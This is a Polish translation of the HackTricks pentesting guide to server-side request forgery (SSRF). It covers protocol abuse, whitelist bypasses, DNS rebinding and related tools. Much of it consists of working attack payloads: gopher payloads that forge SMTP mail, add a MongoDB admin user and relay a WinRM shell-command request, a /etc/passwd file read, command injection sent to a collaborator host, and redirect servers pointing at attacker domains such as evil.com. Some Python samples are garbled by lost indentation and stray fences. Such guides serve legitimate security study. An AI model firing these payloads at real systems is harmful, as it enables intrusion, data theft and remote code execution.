hacktricks/pentesting-web/ssrf-server-side-request-forgery
2024-04-07 00:09:03 +00:00
..
cloud-ssrf.md GitBook: No commit message 2024-04-06 19:35:05 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 00:09:03 +00:00
ssrf-vulnerable-platforms.md Translated to Polish 2024-02-11 01:46:25 +00:00
url-format-bypass.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 00:09:03 +00:00

SSRF (Server Side Request Forgery)


Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Ukierunkowana na serwerowa podatność na żądanie forgerii (SSRF) występuje, gdy atakujący manipuluje aplikacją po stronie serwera, aby wykonywała żądania HTTP do wybranej przez niego domeny. Ta podatność naraża serwer na dowolne zewnętrzne żądania kierowane przez atakującego.

Przechwytywanie SSRF

Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wygenerowanej przez ciebie. Do przechwytywania interakcji HTTP lub DNS możesz użyć narzędzi takich jak:

Ominięcie białej listy domen

Zazwyczaj okaże się, że SSRF działa tylko w określonych domenach lub adresach URL znajdujących się na białej liście. Na następnej stronie znajdziesz kompilację technik próbujących ominąć tę białą listę:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Ominięcie za pomocą przekierowania otwartego

Jeśli serwer jest poprawnie zabezpieczony, możesz ominąć wszystkie ograniczenia, wykorzystując przekierowanie otwarte na stronie internetowej. Ponieważ strona internetowa pozwoli na SSRF do tej samej domeny i prawdopodobnie będzie przekierowywać żądania, możesz wykorzystać przekierowanie otwarte, aby zmusić serwer do uzyskania dostępu do dowolnego zasobu wewnętrznego.
Czytaj więcej tutaj: https://portswigger.net/web-security/ssrf

Protokoły

  • file://
  • Schemat URL file:// odnosi się bezpośrednio do /etc/passwd: file:///etc/passwd
  • dict://
  • Schemat URL DICT jest opisany jako używany do uzyskiwania definicji lub list słów za pomocą protokołu DICT. Przykład ilustruje skonstruowany URL kierujący się do określonego słowa, bazy danych i numeru wpisu, a także potencjalne nadużycie skryptu PHP do połączenia z serwerem DICT za pomocą dostarczonych przez atakującego danych uwierzytelniających: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Zidentyfikowany jako protokół bezpiecznego transferu plików przez bezpieczne połączenie shell, podano przykład, jak skrypt PHP mógłby zostać wykorzystany do połączenia z złośliwym serwerem SFTP: url=sftp://generic.com:11111/
  • TFTP://
  • Protokół Trivial File Transfer Protocol, działający przez UDP, jest wspomniany z przykładem skryptu PHP zaprojektowanego do wysłania żądania do serwera TFTP. Wysyłane jest żądanie TFTP do 'generic.com' na porcie '12346' dla pliku 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Ten segment obejmuje protokół Lightweight Directory Access Protocol, podkreślając jego wykorzystanie do zarządzania i uzyskiwania dostępu do rozproszonych usług informacyjnych katalogów przez sieci IP. Wejdź w interakcje z serwerem LDAP na localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Opisano metodę wykorzystania podatności na SSRF do interakcji z usługami SMTP na localhost, w tym kroki do ujawnienia wewnętrznych nazw domen i dalsze działania śledcze na podstawie tych informacji.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - bypass WAF
  • Jeśli SSRF jest wykonywane przez curl, curl posiada funkcję o nazwie URL globbing, która może być przydatna do ominięcia WAFów. Na przykład w tym opisie znajdziesz przykład przechodzenia ścieżek za pomocą protokołu file:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Omówiono zdolność protokołu Gopher do określania adresu IP, portu i bajtów do komunikacji z serwerem, wraz z narzędziami takimi jak Gopherus i remote-method-guesser do tworzenia ładunków. Przedstawiono dwie różne zastosowania:

Gopher://

Za pomocą tego protokołu możesz określić adres IP, port i bajty, które chcesz, aby serwer wysłał. Następnie możesz wykorzystać SSRF do komunikacji z dowolnym serwerem TCP (ale musisz wiedzieć, jak rozmawiać z usługą).
Na szczęście możesz użyć Gopherus, aby tworzyć ładunki dla kilku usług. Dodatkowo, remote-method-guesser można użyć do tworzenia ładunków gopher dla usług Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Połączenie z powrotem do 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Gopher MongoDB -- Utwórz użytkownika o nazwie użytkownika=admin z hasłem=admin123 i uprawnieniami=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF za pośrednictwem nagłówka Referrer i innych

Oprogramowanie analityczne na serwerach często rejestruje nagłówek Referrer, aby śledzić przychodzące linki, praktyka ta nieumyślnie narazia aplikacje na podatności na ataki typu Server-Side Request Forgery (SSRF). Dzieje się tak dlatego, że takie oprogramowanie może odwiedzać zewnętrzne adresy URL wymienione w nagłówku Referrer w celu analizy treści witryny odsyłającej. Aby odkryć te podatności, zaleca się użycie wtyczki Burp Suite "Collaborator Everywhere", wykorzystującej sposób przetwarzania nagłówka Referer przez narzędzia analityczne w celu zidentyfikowania potencjalnych powierzchni ataku typu SSRF.

SSRF za pośrednictwem danych SNI z certyfikatu

Konfiguracja błędu, która umożliwia połączenie z dowolnym backendem poprzez prosty setup, jest zilustrowana na przykładzie konfiguracji Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

W tej konfiguracji wartość z pola Server Name Indication (SNI) jest bezpośrednio wykorzystywana jako adres backendu. Taka konfiguracja naraża na podatność na Server-Side Request Forgery (SSRF), która może być wykorzystana poprzez określenie żądanego adresu IP lub nazwy domeny w polu SNI. Poniżej podano przykład wykorzystania, aby wymusić połączenie z dowolnym backendem, takim jak internal.host.com, za pomocą polecenia openssl:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Przesyłanie pliku za pomocą Wget

SSRF z Wstrzyknięciem Poleceń

Warto spróbować użyć ładunku takiego jak: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderowanie plików PDF

Jeśli strona internetowa automatycznie tworzy plik PDF z informacjami, które podałeś, możesz wstawić pewien JS, który zostanie wykonany przez sam kreatora PDF (serwer) podczas tworzenia pliku PDF, co pozwoli Ci wykorzystać SSRF. Znajdź więcej informacji tutaj.

Od SSRF do DoS

Utwórz kilka sesji i spróbuj pobrać ciężkie pliki, wykorzystując SSRF z sesji.

Funkcje PHP do SSRF

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF Przekierowanie do Gophera

Dla niektórych eksploatacji możesz potrzebować wysłania odpowiedzi przekierowania (potencjalnie do użycia innego protokołu, takiego jak gopher). Tutaj znajdziesz różne kody Pythona do odpowiedzi z przekierowaniem:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```plaintext
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Błędnie skonfigurowane serwery proxy podatne na SSRF

Sztuczki z tego posta.

Flask

Kod podatnego serwera proxy Flask ```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Flask pozwala na użycie **`@`** jako początkowego znaku, co pozwala ustawić **początkową nazwę hosta jako nazwę użytkownika** i wstrzyknąć nową. Atak żądania:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Kod podatny na atak:

Odkryto, że jest możliwe rozpoczęcie ścieżki żądania od znaku ;, co pozwala następnie użyć @ i wstrzyknąć nowy host do dostępu. Żądanie ataku:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Wbudowany serwer WWW w PHP

Narażony kod PHP ```php $proxy_site = $site.$current_uri; var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP pozwala na użycie **znaku `*` przed ukośnikiem w ścieżce** URL, jednak ma inne ograniczenia, takie jak to, że może być używany tylko dla ścieżki głównej `/` i że kropki `.` nie są dozwolone przed pierwszym ukośnikiem, dlatego konieczne jest użycie zakodowanego adresu IP bez kropek, na przykład:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

Bypassowanie CORS/SOP za pomocą DNS Rebidding

Jeśli masz problemy z eksfiltracją zawartości z lokalnego IP z powodu CORS/SOP, można użyć DNS Rebidding do obejścia tego ograniczenia:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

Automatyzowane DNS Rebidding

Singularity of Origin to narzędzie do przeprowadzania ataków DNS rebinding. Zawiera niezbędne składniki do ponownego przypisania adresu IP serwera atakującego nazwie DNS do adresu IP maszyny docelowej i do dostarczania ładunków ataku w celu wykorzystania podatnego oprogramowania na maszynie docelowej.

Sprawdź również publicznie działający serwer pod adresem http://rebind.it/singularity.html

DNS Rebidding + ID sesji TLS/bilet sesji

Wymagania:

  • SSRF
  • Sesje TLS wychodzące
  • Rzeczy na lokalnych portach

Atak:

  1. Poproś użytkownika/bota o dostęp do domeny kontrolowanej przez atakującego
  2. TTL DNS wynosi 0 sekund (więc ofiara wkrótce ponownie sprawdzi IP domeny)
  3. Między ofiarą a domeną atakującego tworzona jest połączenie TLS. Atakujący umieszcza ładunek wewnątrz ID sesji lub biletu sesji.
  4. Domena rozpocznie nieskończoną pętlę przekierowań na siebie. Celem jest zmuszenie użytkownika/bota do dostępu do domeny, aż ponownie wykonana zostanie żądanie DNS domeny.
  5. W żądaniu DNS podawany jest teraz prywatny adres IP (np. 127.0.0.1)
  6. Użytkownik/bot spróbuje ponownie nawiązać połączenie TLS i w tym celu wyśle ID sesji/bilet sesji (w którym zawarty był ładunek atakującego). Gratulacje, udało ci się zmusić użytkownika/bota do zaatakowania samego siebie.

Zauważ, że podczas tego ataku, jeśli chcesz zaatakować localhost:11211 (memcache), musisz sprawić, aby ofiara nawiązała początkowe połączenie z www.atakujący.com:11211 (port musi być zawsze taki sam).
Aby przeprowadzić ten atak, możesz użyć narzędzia: https://github.com/jmdx/TLS-poison/
Aby uzyskać więcej informacji, zapoznaj się z prezentacją, w której wyjaśniono ten atak: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Ślepy SSRF

Różnica między ślepym SSRF a SSRF, który nie jest ślepy, polega na tym, że w ślepym nie można zobaczyć odpowiedzi na żądanie SSRF. Dlatego jest trudniejszy do wykorzystania, ponieważ będziesz mógł wykorzystać tylko dobrze znane podatności.

SSRF oparty na czasie

Sprawdzając czas odpowiedzi serwera, można możliwe jest ustalenie, czy zasób istnieje czy nie (może zajmie więcej czasu dostęp do istniejącego zasobu niż dostęp do nieistniejącego)

Eksploatacja SSRF w chmurze

Jeśli znajdziesz podatność na SSRF w maszynie działającej w środowisku chmurowym, możesz uzyskać interesujące informacje na temat środowiska chmurowego, a nawet poświadczenia:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

Platformy podatne na SSRF

Kilka znanych platform zawiera lub zawierało podatności na SSRF, sprawdź je tutaj:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Narzędzia

SSRFMap

Narzędzie do wykrywania i eksploatacji podatności na SSRF

Gopherus

To narzędzie generuje ładunki Gopher dla:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser to skaner podatności Java RMI, który obsługuje operacje atakowe dla najczęstszych podatności Java RMI. Większość dostępnych operacji obsługuje opcję --ssrf, aby generować ładunek SSRF dla żądanej operacji. W połączeniu z opcją --gopher można bezpośrednio generować gotowe ładunki gopher.

SSRF Proxy

SSRF Proxy to wielowątkowy serwer proxy HTTP zaprojektowany do tunelowania ruchu HTTP klienta przez serwery HTTP podatne na Server-Side Request Forgery (SSRF).

Aby ćwiczyć

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

Odnośniki